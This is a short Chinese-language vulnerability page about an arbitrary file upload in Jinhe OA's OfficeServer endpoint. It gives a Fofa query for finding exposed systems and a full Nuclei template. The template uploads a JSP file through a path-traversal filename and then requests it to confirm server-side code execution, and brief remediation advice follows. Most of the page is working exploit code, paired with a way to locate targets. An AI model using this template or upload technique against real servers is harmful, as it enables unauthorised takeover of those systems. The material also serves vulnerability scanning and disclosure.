# 金和OA OfficeServer 任意文件上传

## 漏洞描述

金和OA OfficeServer 任意文件上传，攻击者可通过此漏洞获取服务器权限。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinhe-oa-OfficeServer-upload

info:

name: jinhe-oa-OfficeServer-upload

author: m0be1

severity: high

variables:

filename: "{{to\_lower(rand\_base(4))}}"

http:

- raw:

- |

POST /jc6/OfficeServer HTTP/1.1

Host: {{Hostname}}

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/114.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

DBSTEP V3.0 89 0 104 DBSTEP=REJTVEVQ

OPTION=U0FWRUFTSFRNTA==

HTMLNAME={{base64("../../public/edit/{{filename}}.jsp")}}

<% out.println(111\*111);new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>

- |

GET /public/edit/{{filename}}.jsp HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36

Connection: close

extractors:

- type: dsl

name: only\_for\_sleep

dsl:

- wait\_for(5)

matchers:

- type: dsl

dsl:

- 'status\_code\_2==200 && contains\_all(body\_2,"12321")'

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。